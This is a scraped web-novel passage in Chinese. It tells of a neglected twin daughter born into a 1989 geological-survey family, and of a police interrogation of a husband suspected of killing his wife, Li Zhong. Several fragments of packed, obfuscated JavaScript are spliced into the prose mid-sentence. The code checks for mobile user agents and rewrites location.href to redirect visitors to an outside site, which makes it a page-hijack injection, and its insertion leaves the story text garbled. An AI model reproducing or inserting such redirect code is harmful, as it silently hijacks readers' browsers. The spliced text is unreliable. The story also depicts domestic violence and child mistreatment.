0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284745|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲家把这份感情传递下去,哪怕你母亲比你父亲大三岁,也没文化,长相嘛普普通通,除了一双弯弯眼把人添了几分灵动。 两人结婚后,你父亲更是常年申请去野外找矿,一年见不到几面。怀上你和你哥哥时,他们已经结婚三年。 你爷爷在你父母结婚后很快去世,你奶奶当然也不喜欢你母亲,她以家有几亩水田要种为由,拒绝来207这个常年只有儿媳妇的家。 但这次不同了,李家有后了,一来就来两个男孙。而且这几年你父亲拼命工作,再过两年说不定就能混个一官半职,住进干部房。一切都在朝好的方向变化,直到那天晚上。 李重啊,你是有感知的吧。 你在你母亲肚子里一定听到了什么,所以你不停地踢跳,试图蹬破你母亲的肚皮,试图提前看看这个世界的“热闹”。 “你为什么要去大礼堂跟那个骚娘们跳舞?” “说话不要这么粗俗,人家有名字,我和她就是普通同事关系,跳个舞怎么了?” “你为什么不跟我跳?” “你会吗?” “我大着肚子怎么学?再说我现在干什么都艰难,你就不能在家帮帮我吗?” “我妈过来就是为了帮你,你叫她做就好了啊!” “我敢使唤你妈?她比我这个大肚子的都娇气!” “你怎么说话呢?那是我妈,帮你是义务不是本分。” 你踢得更凶了,直接把你母亲踢弯了腰。 你奶奶也冲进来,站到她儿子身边。 “别吵了!要是觉得我碍眼,我现在就走!” 你奶奶作势要走,你父亲去拽,两人拉扯得声情并茂,母慈子孝,没人注意到你母亲被狠狠撞了一下……她疼得蹲下来,一股热流涌出来,红艳的血沿着大腿快速淌下,直至淹没了鞋。 - 你和你哥哥是早产儿。提前两个月。老话说七活八不活。你父亲难得露出后怕的表情,垂头丧气地坐在手术室门口。你奶奶也怕了,但她嘴硬,嘴里嘟囔着说:“怎么这么不经气呢!” 你母亲生得很艰难,痛苦的叫声响彻整个医院。来来往往都是熟悉的人,有人凑过来递给你父亲一只烟,说好福气啊马上就要看到两个儿子了。 你父亲心里松快了点,把烟塞到耳朵后,笑着说:“这里不能抽,不然一会医生该骂了。” 你哥哥第一个从你母亲肚子里出来。 你当然见过他的,你们共同喝了几个月的羊水,他的心跳连着你的心跳,你对他有种天生的熟悉感。 你母亲不如你幸运,她还没来得及看你哥哥一眼,阵痛袭来,只能咬着牙继续生。你父亲和你奶奶也只在门口匆匆看见护士慌张地把你哥哥抱去抢救室,连他长什么样都没看到。 接下来是你一声声小猫一样的可怜哭声,结束了这场令人恐慌的战争。 你弱小,同时你又是坚强的,努力地呼吸,努力地哭泣,努力地活着。 但……你是个女孩。 王医生一脸意外,把你两条小腿夹起来,让你的小屁股对着你母亲,说:“哎呀,奇了。是妹妹呀,是龙凤胎。” 你母亲两只眼睛从期盼变为震惊,嗷一声又哭了起来。 4. 第04章 你哥哥小得可怜,脸是不正常的紫色,全身插满管子,就这么躺在抢救台上,像一坨毫无生机的肉,你父亲只远远地看了一眼便躲了出去。 很快,他确实变成了一坨毫无生机的冰凉的肉。 而你坚强地活了下来,被送去了保温箱。 - 你母亲哭得不能自已,她扯下输液管,撑着身体非要去看一眼她唯一的儿子。可还没等她走过去,你的父亲沉默着挡在她的面前。 她拽着你父亲的胳膊,嘴唇哆嗦了半天一个字也没能说出来。 王医生被你的奶奶堵在了办公室。老太太两个梦中情孙,一个死了,一个转了性变成个丫头。 王医生被她拉扯得白大褂掉了半边,围观的人没人愿意帮忙。现在这家人是值得可怜的,和他们站在一起才是正确的选择。 “我从没有说你儿媳妇肚子里的一定是两个男孩。”王医生非常恼火,“是她求着我,我才帮忙看的。大概率,很有可能,也许是两个男孩……” 你奶奶听不懂什么是大概率。她只知道她的孙子没了,一没还没了俩。 “双胎本来就有一定的生育风险,再说你儿子惹了你儿媳妇生气,让你儿媳妇动了胎气,才让两个孩子提前出生。” 别看你奶奶个子不高,她很能跳。她听不得别人说儿子半点不好,听到王医生当着大家的面指责她的儿子,她立马窜到王医生的脸上,乌拉乌拉用方言骂起来。 王医生一巴掌把她推开,厉声道:“你儿媳妇肚子上有一大片新鲜的撞痕。是不是你跟你儿子撞的?要不要去警察那里说个清楚?!” - 你奶奶终于消停了,但也没消停多久。她在病房里嗷嗷痛哭,哭得甚至比你还惨。 你的母亲没有泪,她要么两眼呆滞,要么死死盯着隔壁床产妇怀中的男婴。 隔壁小夫妻害怕极了,麻溜换了病房。 医院换了医生来照顾你的母亲。这个医生显然是新来的,被院方当做炮灰送进了这个被悲伤笼罩的病房。 她小心翼翼换着你母亲肚子上长长伤口的敷药,一个不小心碰到,肚皮狠狠缩了下,她赶紧抬头——你母亲表情呆木,没有任何反应。 年轻医生试图跟你母亲解释初乳非常重要,对新生儿的身体有莫大的益处,尤其你现在肺功能不全,吸收较差。 你母亲冷冷地看着窗外,说:“我不想喂她。” - 你母亲在医院住了七天,没去看过你,没给你挤过奶。 李重啊,你像被遗忘在保温箱里,自顾自地感受初入人间的冷暖。之前还有你哥哥陪着你,现在只剩下你一个人了。 你母亲出院时,你奶奶坚持把你也带回家,说她再也不相信医院。其实,你知道的,她舍不得她儿子的钱花在这种地方。 那位年轻医生想阻止又无能为力,只能千叮咛万嘱咐,说一定要给孩子做好保温,一定要少喂多餐,两周一次送来医院检查。 你奶奶没好气地说:“养不养得活,那都是她的命。” - 你是命好的。你的外婆从外地赶过来,先是抱着你母亲大哭一场,而后把你贴进她炙热的胸口,用她的□□安抚你。 你母亲的奶水很多,不用吃鲫鱼猪蹄就哗哗流。你外婆知道她不肯喂,只好让她挤出来,然后用小勺子一点一点喂到你的小嘴里。 要不是奶粉贵,怕是你和你母亲之间这点关联都没有。 你父亲压根不敢面对,熬到你母亲出院便再次跟着队里出去找矿。你奶奶更是麻溜地甩下这一切跑了,理由是家里的鸡鸭鹅没人喂。 你母亲对此没什么反应,且她大部分是沉默的,明明和你同处于一个屋檐,她总是看向某个虚空,从不多看你一眼。 你长得很快,很快就能跟着你外婆的手指移动你的小眼珠。她兴奋地叫你母亲过来看,她像听不见,只是枯坐在那里,不知道在想什么。 你外婆让你母亲赶紧给你起个名字,总不能一直叫你丫头。你母亲有些艰涩地动了动头,突然像想起来什么似的,疯一般跑去你父亲的书桌,慌乱翻开字典,一张纸条陡然落下。 你母亲不敢捡,不敢看,扭头钻回被窝里,把自己蒙在里面,狠狠哭了起来。 - 很快,那个天天喂你抱你逗你笑的外婆,不得不回她的家去了。你那时不过才1个月大,瘦得不比小猫崽好多少。 你发现你的哭声是你的救命武器,只要你喵喵哭,最多哭个半小时,你母亲总会气急败坏地冲过来,把她的□□塞向你的嘴,温暖的乳汁喷到你的鼻子,你的小嘴,可你就是不肯张口。 你母亲不知道你还有什么资格挑剔,怎么捏你的小嘴都没办法,她只能学着你外婆的方法用小勺子一点一点喂你。 你吃饱喝足后对着她笑,她立马别开脸,把你丢进摇篮里。 摇篮特意做得很大,原本可以放进两个孩子,如今随便你在里面怎么翻身也不觉得拥挤。 - 你还是没有名字。 你母亲的朋友来看她,她总是插着门不应腔。她吃得有一顿没一顿,主打一个饿不死就行。你也总躺着,看得到的只有头顶那片房梁,你以为那就是整个世界。 再后来,还是队里妇联的人赶来,把你母亲和你从阴暗沉默的土屋里拉出来。 她们给你母亲安排了工作,让她去队里食堂帮工,一个月给50块,不仅包三餐,也允许你母亲把你带去食堂喂养。这是你母亲以前就盼着的,被队里家属们抢破头的岗位。如今你母亲得了,却半点也高兴不起来。 而你是高兴的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284746|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的世界从土屋换到了充满烟火气的大食堂。很多阿姨不仅对着你笑,还会因为你笑得很可爱抱你亲你,于是你笑得更开心了。 你母亲见不得你笑,她看见你就想起另一个。你笑的时候,另一个正躺在阴暗潮湿的地下腐烂。 可你母亲最好脸面,在大食堂时,她总会强迫自己喂你,一回到土屋,你就变成了空气。 有一天晚上,你母亲半夜出去了很久才回来,回来时身上有浓重的火纸味。她好像很累,也不开灯,就这么坐在枯寂的黑暗中,过了好一会才挪步到摇篮前。 你向她摇晃着手臂,咿咿呀呀,是雏鸟,是马驹,是猫崽,是小小的人儿。 你母亲缓缓伸出手,指尖一点点靠近,就在将要碰到的那一刻,又像是被烫到似的,使劲缩回来。 她居高临下地盯着你——李重啊,好歹她愿意看着你了——一张皱巴巴的纸被展开,是那张从字典里掉下来的纸,上面潇洒地写满了各种具有美好寓意的字眼,是你父亲精挑细选的名字备选。 你母亲最爱看你父亲皱眉思索的样子,看起来很聪明。那晚他每想出一个字,便问你母亲一次。每次你母亲都说好,好的次数多了,你父亲便皱着眉不再问。 只是你父亲最后还是推翻了自己,决定用他这辈子最突出的成就来命名你和你哥哥。 - 那是一场数亿年前的南方大陆板块震动,从震旦纪到寒武纪,伴随着碱性火山喷发,沉积下来的黑色页岩里夹杂着一簇簇一丛丛透明晶体,它们在杂质的干扰下或灰色或黄色或蓝色,出露地面时,数亿年的时光刹那掠过,灿烂无比,震慑人心。 你父亲用三年时间辛辛苦苦描摹了它的位置,它的样子,它的价值。 地震、火山、海啸……一次次远古震动全部躲进了重晶石美丽的晶体,你父亲手捧着它们,他的脉搏立马连上来自远古地层的脉搏。 时间、空间、物种,统统闪开。 贫穷、失志、不快,全部不足为道。 他又试图将这份独属于他的浪漫传递给他的孩子们。 如果你哥哥没死的话。 - 那晚,你哥哥死去的第四十九天,你母亲终于肯正眼看你。她上下打量着你,试图从你的眉眼中描摹出另一个孩子的样子。 暗夜里,她终于笑了。笑得惨淡,幽冷。 她弯下腰把你抱起来,你小小的头立马往那处最温软的地方蹭去。 你母亲仰起头,轻吁了一口气,“我的乖儿!” 紧接着她又说:“以后,你就叫李重。” 李重。李晶。 一母双胎,一死一活。 你被赋予了你哥哥的名字。 而另一个名字,则像每每开挖矿体总会产生的尾矿废渣,被彻底放弃了。 5. 第05章 李重啊。 你用了你哥哥的名字,你父亲对此不置可否。或许他已经不在乎你叫什么,亦或许他曾想给你换个名字,以免念名思人,但他想传承下去的浪漫在你哥哥死去的那天已然消亡,你母亲又是那么固执地叫你李重,他再次沉默了,继续维持他的常态。 毕竟沉默是他的武器,可以包裹、忽略、夹碎一切让他不舒服的事情,包括你。 从你生下来的第七天,到第六个月,土屋里从未出现过他。 那天他风尘仆仆地回来了,瞧见土屋里你母亲如常般在厨房忙碌,瞧见你陡然变大,稳稳坐在床上自顾自地玩手指,他那口卡在嗓子眼的气终于顺了。 真好!一切终于又回归正常。 你母亲也好像忘了六个月前你父亲决绝离去的表情,把做好的饭端到你父亲面前。你父亲搅拌着碗里的羊肉粉,气定神闲地说今年队里要评奖,拿到这个奖的人就可以搬去干部房。而他铁定当选。 你母亲终于露出这六个月来发自内心的笑,“真的?” 你父亲像看傻子一样看着她,“我们这几个同期来的人当中,属我跑野外跑的最多,是我第一个评上中级职称,更是我第一个勘察到那么大型的重晶石矿床。再说,咱们队里的人要么偷懒耍滑,躲在办公室吹风扇,要么部队转业过来的,没学历没技术,要么年纪小资历没我老……那些年龄大的高工们基本都住上干部房了,他们还能觍着脸和我这个后生抢?” 你父亲难得一口气说出这么多话。因为常年风吹日晒形成的浅浅沟壑的脸上,露出“一切皆在我掌控中”的笃定和自得。 你母亲就喜欢看着他这个样子,是读书人的意气风发,带着外面世界的多彩光泽,是她见识不到的,只能透过他。 她开始畅想若是真住到干部房,大食堂那些女的非嫉妒死不可,再也不敢在她面前天天嘚瑟自己有儿子。 “等分到干部房,我就把我妈接来,让她也跟着享享福。” 你母亲原本雀跃的心瞬间跌入冰河,她别过脸,骤然看见你在咬指头,那股窝在胸腔的火立马找到了喷射的对象……她一跃而起,冲到床边,一巴掌打开你的手,吼道:“吃吃吃!就知道吃!说过多少遍了!你怎么不把你的手指头啃掉。” 你哭,大声地哭,委屈地哭,哭到低矮的土屋也包裹不住,你父亲满脸不耐,撂下一句:回个家也不得安生,然后拍拍肩头去大礼堂跳舞了。 你母亲见不得你笑,更见不得你哭,她恨不得把你变成没有喜怒哀乐不用吃喝拉撒的机器人,能且只能听懂她的指令。 她把你拎起来,夹在咯吱窝中,在昏暗的路灯下一路追赶。你渐渐不哭了,或许是你哭累了,亦或是你母亲难得碰触你,虽然以如此不适的姿势,但你感觉到了一丝丝温暖。 你头朝下,看着土路变成水泥路,看到开在角落的忍冬花,看到从灌木中窜出来的野猫,听到了缠绵的音乐声……下一秒,你被丢在大礼堂的门口。 里面是另一个世界,你从没见过的世界。吊顶处旋转的迪斯科激光球灯每转一圈,就朝黑魆魆的地面铺就一层五彩的光斑,形形色色的人成双成对的贴在一起扭动,像上了弦的发条,只要不说停,他们就会蹭着彼此到天荒地老。 你一脸好奇地坐在门口,盯着那五彩光束一路披荆斩棘落在你的小手上,你笑了。 笑了。 你母亲不能忍,她冷着脸,弯下腰一把掐在你稚嫩的手臂上……方才还在笑的你嗷一声哭了出来。 越拧越哭,越哭越大,哭声化作喊停的刺耳哨音,那些贴在一起的发条们终于停了下来……你母亲这才松开,冷冷看着你父亲骤然转过来的震惊的脸。 他的手还搭在对面那位“就是普通同事关系”的女人的腰下一点点。 - 你父亲丢了脸,又想往外跑。只是,1989年的后半年,207地质队拿到的国家拨款骤然减额,比往年竟少了十分之九。没有任务就不能跑野外。他这次想躲也躲不了。 其实早在1984年国家便提出经济体制改革,地质队作为国家单位也面临着市场化转型,只不过国家政策传导实施需要时间,经济形势起伏变化短时间内又不凸显,待地处遥远黔北的207地质队有所感知时,已过去了好几个春秋。 地质队主力部门突然闲了下来,大食堂这样的后勤部门却忙得要命。留在队部吃饭的人多了,也因为经费有限伙食变得更差了。 你母亲带着你,在大食堂干了一天活,累得半死,回到家发现你父亲站在堂屋中间,双臂抬起呈合拢状,正悠闲地哼着歌练习舞步。 你母亲把你塞进他的怀里,气鼓鼓地钻进厨房做饭。 你父亲沉默着把你塞回宝宝座中。你的屁股一碰到宝宝座就撇嘴哭,哭得人心烦意乱,他走去厨房让你母亲看看怎么回事。 你母亲一脸不耐地说:“还能咋回事?成天坐在椅子里,拉屎尿尿都在里头,屁股烂了呗。” “总不能让她一直哭吧。吵得我头疼。” “你去大礼堂跟人家跳舞怎么不嫌声音大啊?” “好端端的干嘛又提这事?” “咋?怎么不能提?我哪一个字说错了?” 你再次成为两人吵架的由头,且不管这个由头如何开启,最后总能拐弯抹角跑到跳舞事件上。 你哭得声音越来越大,把邻居王翠莲招来了。她和你母亲一个姓,年有四十,是车队唯一的女司机,是除了你外婆外对你最好的人。但凡她在家,但凡她听到你哭,总会过来抱起你,还会做鲜嫩的鸡蛋羹喂你。 她一进来二话不说把你从宝宝座里抱出来,你立马不哭了。 “我家里还有些香油,给孩子抹上,多抹几次就好了。” 她像是没听到刚才快要掀开屋顶的吵架,只顾着逗你笑。 你父亲自诩体面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284747|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,哪能让她给香油,“不用不用。我家有。我妈上次来的时候拿了一大罐。” 你母亲没好气地说:“哪里有?你妈走的时候又把它拎回去了。” - 你母亲没了儿子,现在唯一能拿出去炫耀的只有你父亲,哪怕上次你被迫在大礼堂大哭一场让夫妻感情暴露真实一角。 可谁又能比谁好多少呢? 你母亲忍不住说起这次评奖的事,言谈中她把你父亲的笃定和自得不仅学了十分像,还又增添了几分自傲。大食堂的女人们互相看了一眼,眼神颇为复杂。其中一个下意识地把嘴闭得紧紧的。你母亲见众人都不接话,以为她们嫉妒,越发说得起劲,还提及自己一旦搬去干部房,要在院子里种上一大株樱桃树。春天赏花,夏天吃果,还能在树下纳凉,可真爽快。 只是,没过几天,你父亲气急败坏地冲回家,差点把家砸了。他自认为铁板钉钉的奖项竟然颁给了同期来的另一个同事。那人不过是在领导视察的时候多嘴说了几句屁话,把辛苦的野外勘探工作比作西天取经,说什么不经历九九八十一难,怎么能取得真经,找到矿藏?就这样给领导留下了深刻的印象。 队长向上报了两个名额,结果上级领导就选了这人。这事直到对方拿到了干部房的钥匙你父亲才知道。 你母亲气不过,亲自去找队长。 队长皱着眉说:“这次压根就没报你男人的名。” 他把你母亲叫到一边低声说,“你上次带着你闺女去大礼堂那么一闹,对方那个女的老公知道了,他写了举报信……” 你母亲大吃一惊,又羞又怒。 “我拦下了,但是,”队长语重心长地说:“我怕把你男人名字报上去,对方又去闹事,咱们队不就浪费一个获奖名额?” “他们之间没关系!就是普通的同事关系。”你母亲不想说出这句话,可她必须说。 “没关系?没关系你跑去闹啥呢?”队长无奈地问,“我就是知道他们之间清清白白,我才拦下举报信!” 你母亲在地上看到了自己的脸,正被自己踩得稀巴烂。 “这事现在就你和我知道。其他人包括你男人都不知道。这次没评上不要紧,咱还有下次,你男人有学历有技术,住上干部房也是早晚的事。” 队长许是看你母亲神情恍惚,所以才许下一个没有时间保证的诺言。 回到家,你母亲突然对你特别好。她搂着你,用香油把你的小屁股糊了厚厚的一层,又用尿布包裹起来,再挤出奶把你喂得饱饱的,确保你开开心心不哭不闹。 之后,她做了一碗你父亲最爱吃的羊肉粉,安抚他胃口的同时,那天晚上又用嘴——这个你父亲要求过几次,你母亲都严厉拒绝的方式,安抚了他渴望的身体。 几分钟后,伴随着一声低吼,一道亮光从1989年黔北遵龙镇207地质队家属区土房子里冲出来,然后射向了未知的未来。 6. 第06章 审讯室。 方月华已经在里面待了整整五个小时。 在重复了七八次的供词中,他的嘴里翻来覆去只有四个字:我没杀人! 语气平静,神态自如。 他没碰李重,没有把她的头往绳圈里塞,更没想过直播杀人。 他错就错在上车前没有环顾车身四周,没有提前觉察到后面有人,他认为自己最多过失杀人,绝对不是预谋杀人。 “我有杀人动机吗?显然没有!我们非常恩爱!你去问问我老婆的同事朋友,哪个不羡慕我们的神仙婚姻?” “除了过去几年经济困难些,我们之间没有婆媳问题,没有育儿焦虑。现在我们两个齐心协力把债务还清了。一切都在往好的方面发展,我为什么要杀她?” “怎么个齐心协力法?”陈秋池冷冷问:“靠着你妻子的工资养你?靠你妻子贷款帮你还账,然后把债务转移到你妻子身上?” 方月华的鼻子再次抽动了两下。 - 陈秋池第一次见到方月华时,就觉得他端正的面孔像一个被撑大的方形气球,黝黑的眼珠子镶在气球上纹丝不动,只有偶尔鼻头抽动的时候,这个气球才会偷偷漏气,冒出一丝尖锐的哨声,但又被他立马憋住。 五个小时前,这个气球在她面前当场爆了,碎片在那个满是积水、闷热、昏惨惨的地下停车场掀起愤怒的无能龙卷风…… 然而,待他进了审讯室不久,这些碎片又快速聚拢,快速修补,凑回了那张端正的平静的脸。 此刻,面对陈秋池的质疑,他又漏了一点点微不可见的气,但没关系,也只是一瞬。 “2015年,也就是八年前,你破产了,房子车子工厂都没了,你妻子立马找工作开始挣钱养家,刚开始她工资小几千块钱,你跟着别人合伙做生意,连收入都没有,是她付的房租生活费……”说到这里陈秋池看着李重征信上密密麻麻的借款记录,但凡世面上的贷款平台应有尽有,“她有时候连三百块也要从网上借。” 方月华一脸镇定,“我们是夫妻,她也有养家的责任。这些事你之前都问过我一遍,没必要再重复了吧。” 说完,他换了一副闲谈表情,“陈警官,你喜欢小孩吗?你是不是有小孩?不应该啊,这么年轻就结婚生孩子了?” 苏鹤又惊又怒,方月华这是哪根脑筋搭错了,竟然敢说出这么冒犯且无知的话。据他所知组长才毕业两年,连男朋友都没有,从哪里来的孩子啊?这么挑事分明是为了故意转移话题,惹怒办案警察,好掩盖真相。 陈秋池放下笔,沉沉看着他。 方月华又轻笑一声,“我见过你几次,你总穿着长袖制服,遮的严严实实,这么热的天不嫌热吗?” 苏鹤眨了眨眼。他早都发现组长工作时总穿长袖制服,便衣或非工作时间也总爱穿黑色长袖长裤,把自己遮成这样不是为了防晒还能为什么? 方月华把头往左一歪,一直弯,就在脸快要贴到桌面时,他伸出手,斜指着陈秋池的袖口,“那里,那里,你的手腕上好像有幅画,我看不清,嗯……盲猜一个,应该是小金鱼吧。警察不能纹身,这是一副可以擦掉洗掉的彩笔画。你孩子给你画的?对不对?!” 说完又像弹簧一样把自己的身体摆正了。 苏鹤皱眉斥道,“方月华!你在干嘛!” 方月华压根没看他,而是把眸光缓缓抬起,扫到陈秋池的脸上,“陈警官,你今年27岁,25岁入警,22岁毕业,中间那三年干嘛去了?结婚生孩子?什么样的男人让你这么痴迷?让你这么年轻,不顾大好前程就给他生孩子?” 陈秋池直直看着他,“你对我很感兴趣?还是说,你对一切你掌控不了的女人都很感兴趣?” 方月华先是一怔,随即大笑了起来,笑得整张脸都在抖动。 不过几秒,笑意迅速从四面八方收回他的方形气球脸里,包括每一道可能暴露他情绪的细纹。 他又成了那个平展而端正的人。 “陈警官,你调查了我的原生家庭。这个词我用的对吧,现在的人啊,习惯把自己的一切问题和痛苦归结为糟糕的父母,从不反省自己有多垃圾。” 他用轻飘飘地声调把自己摘除在人类之外,以俯视的姿态审视着除了他以外的人。 “没错。我的确是离异家庭养出来的。按理说,我应该是那种极度缺爱,缺乏安全感的人,我绝对不会把自己的婚姻过成父母那样,我应该讨厌我母亲的忍辱负重,讨厌她的懦弱无能,所以我会以我母亲的镜像来寻找妻子的人选:那种能力强的、聪慧的、一看就不好掌控的……对不对?从这个路径推理,我更没有理由要杀李重。我把她当做理想型妻子,是想和她过一辈子的,我那么爱她……” “是吗?李重是一看就不好掌控的人吗?” 陈秋池打断他的话。 方月华的手指不由蜷缩起来,想抓什么却又什么也抓不住。余下的话也被噎死在了喉咙里。 陈秋池接着质问。 “2017年5月1日,李重从网上贷款三万转给你。紧接着你把这笔钱转给了你的合伙人。” “这是我问她借的,”方月华很坦然,“我跟人合伙开公司做生意,需要出点钱做股东。三万不算多。” “截止到2022年年3月,你妻子在各个贷款平台总共贷款80余万,大部分都转给了你。帮你还信用卡,帮你还亲戚朋友的借款,对了,那辆白色长城皮卡车也是她买给你的。”陈秋池追问,“这些钱你都还给她了吗?” 方月华皱着眉,“我们是夫妻。钱能算得清楚吗?我有时候也会给她转钱!” “三百?还是五百?”陈秋池沉声道:“我查了查,你转给你妻子的金额最高只有五千块。这几年累计下来也不过小几万块。” “夫妻感情是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284748|152022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用金钱多少来度量的吗?”方月华嗤笑一声,“按照陈警官的说法,李重给我的钱多,她就多爱我一些,我给她的少,我就少爱她一些?” 他话锋一转,幽幽道:“还是说,你跟你丈夫就是这种只论金钱的夫妻?” 陈秋池沉沉道:“方月华,如果我是男警察,你还会屡次打探、议论、评价我的私生活吗?你表面上谦卑包容,尊重体贴,实际却高高在上,男性本位,认为我一个年轻的女警察压根不配坐在你的面前审问你。但现在无关性别,是国家,是司法机关,对你可能触犯法律的行为进行审讯、追责。法律威严不容亵渎,司法机关不容践踏,请你正视、珍惜你为自己申辩的宝贵机会。” 方月华半天没吭声,过了好一会,道:“我有时候会给李重现金。一大叠的现金!” “在2022年3月之前,你还是失信人,共欠银行27万,为什么短短三个月后,也就是2022年6月你突然把所有银行的欠款都还了。而且你妻子的债务,总共87万,也在这期间还清了。” 陈秋池质问:“从哪里来的钱?是现金?谁给你的?” 方月华仰起眉头,“做生意赚的!不信你可以去问老唐。我们合伙做工程,一个大项目就能翻身。” 老唐,也就是唐继业,是方月华的合伙人。两人共同开了一家工程公司。 陈秋池又追问他做了什么工程,谁是项目负责人,业主是谁,工程进度款是怎么付的……方月华一一回答,说得有鼻子有眼。 “唐继业债务缠身,所欠银行和个人数额高达千万。而且,根据工程公司账目,你们合伙做项目五六年,他也常年拖欠应付给你的提成,他怎么可能这么爽快一次性付给你这么大一笔钱?据我所知,唐继业公司门口和家门口经常睡着讨债人,他们可是一分钱都没要回来。” “我们好歹也是十来年的兄弟,这也是他该给我的,”方月华淡笑道,“十年一运,我倒霉这么多年,轮也该轮到我转运吧!” 说到这里,他露出浓浓不悦:“陈警官,你们现在把我关在这里纯属浪费时间,完全搞反了侦查方向!” 陈秋池给苏鹤递了个眼神。 苏鹤递过去几张照片。其中一张是死者李重脖子上的“凶器绳索”。 “你在6月14日购买了麻绳。并且在货到后亲自去快递点取了回来。这是你的网购记录和取快递时监控拍下的照片。” 方月华鼻孔微张,“不!这不是我买的!是李重!一定是她买的!” 苏鹤皱眉问:“方月华,你是在欺负死者不能说话了吗?” 还没等方月华反应过来,苏鹤又拿出刚刚出炉的结果,“她身上有与人撕打的痕迹,而且我们死者指甲里发现了你的DNA。” “不可能。我碰都没碰她,”方月华鼻子快速抽动了两下,缓缓瘫坐下来,好半天才说了句不着边际的话,“我老婆很乖的……” 7. 第07章 审讯室突然变得很冷。方月华忍不住揉搓着手臂,试图把应激竖起来的寒毛捋平。对面两人一直在看他。他知道。他们在等他解释。 揉搓了好一会,他才感觉到神魂归了位,抬起头,平静地说:“我们确实吵了一次架,就在她离家出走前一天晚上。” “为什么吵架?”陈秋池问,“什么时间?” 方月华:“7月13号晚上。就是那晚她告诉我第二天要去上海出差。我当时跟一个女客户微信聊天谈事情,她莫名其妙对着我闹脾气!” “动手了吗?” “我就轻轻推了她一下。谁让她没完没了地跟我闹,陈谷子烂芝麻的事都翻出来,专挑那些会让我生气的话刺激我,对我又抓又挠。她一直很听话很乖,从来不跟我急眼,不知道那天抽了什么疯?” “哪个女客户?” “就是普通关系。”方月华斩钉截铁。 陈秋池看着他,“方月华,你总不会告诉警方,你妻子因为一次没有证据的臆想的桃色绯闻就对你恨之入骨,然后设局让你直播吊死她?” 方月华眸光一垂,“万一她就是这样的人呢?” - 网上舆情还在发酵。 这个世界上有那么多无处发泄、闲着没事、善于杜撰瞎编、长了嘴和手的人,在警察得出结论前,提前判了方月华死刑。 也有很多人,非要逆流而上,以“独醒者”自居,从各种角度怀疑、质疑,用模棱两可的语气问:会不会李重也有问题? 有道德感的网友立马感受到了冒犯,纷纷下场,于是撕逼升级,热度骤升。结果,想道德批判的人如愿地站到了高地,想骂人发泄的人得到了满足,而这些“独醒者”账号粉丝翻倍,打赏暴涨。表面上看两败俱伤,实则双赢。 与此同时,认识方月华的人也像下饺子一样纷纷下场。事情发生不到一天时间,大家数了数,方月华至少勾搭撩骚过七个女生。这些女孩子高举铁锤,将聊天记录甩出来,所有人都看到了方月华另一张的“嘴脸。” -你好性感啊,交个朋友吧。 -我今天刚去谈了一个大项目,对方老板请我吃饭,你看我们喝的酒有多贵。 -周末一起爬山?我体力超好。 -我现在单身,事业正处于上升期。 …… 有网友感叹,这还是愿意跳出来捶他的人,那些被他哄骗,或者与他同流合污的人怕是偷偷躲在角落里后怕,哭着说幸好没有成为他的猎物。 但这些好像还不够,还不够刺激,还不足于证明方月华是个变态。 于是有账号突然跳出来,一张张聊天记录和血腥照片证明方月华曾经虐过猫,宰过狗,杀过鸟,他曾经发表过恐怖的反人类观点等等。 这下大家终于松了一口气。 果然!果然这么变态! - 苏鹤也这么认为。与网上出于各种目的真真假假的爆料不同,在他看来,至少方月华百般狡辩推卸、急于摆脱嫌疑的态度让人非常不适。他对自己十年发妻的态度就像死了只蚂蚁一样无所谓。这是正常人的反应吗? 他跟着陈秋池从审讯室走出来,气得又跺脚又砸墙,年轻的面皮被激得白里透红。 陈秋池回头看着他。 苏鹤默默收回愤怒的拳头,嘀咕道:“陈警官,你怎么能不生气?” 陈秋池没回答他,继续往前走。 苏鹤追上去,“李重的指甲内容物里全是方月华的DNA……” 陈秋池停了下来,“问题就在于‘全是’。方月华指甲缝里可是干干净净,并没有提取出李重的DNA。” “那李重身上的打斗挣扎痕迹也能说明……” 陈秋池看着他,“单一性证据只能证明事实的一个侧面。现在证据链不闭环,逻辑链更说不通,什么结论也下不了!” 说到这里她沉沉说:“记住,千万不要随便共情任何人。” - 夜已深。 滨海分局里面灯火通明。 大门外,南一彤焦灼地跺着脚,时不时抬起头往里头看。兜里的手机不停震动,拿起来一看,是设计院那群嘴碎得要死的同事们正在微信群疯狂喷射。 【李重真是好能装啊。天天跟我们说她老公多爱她,结果转过身就被老公吊死了。】 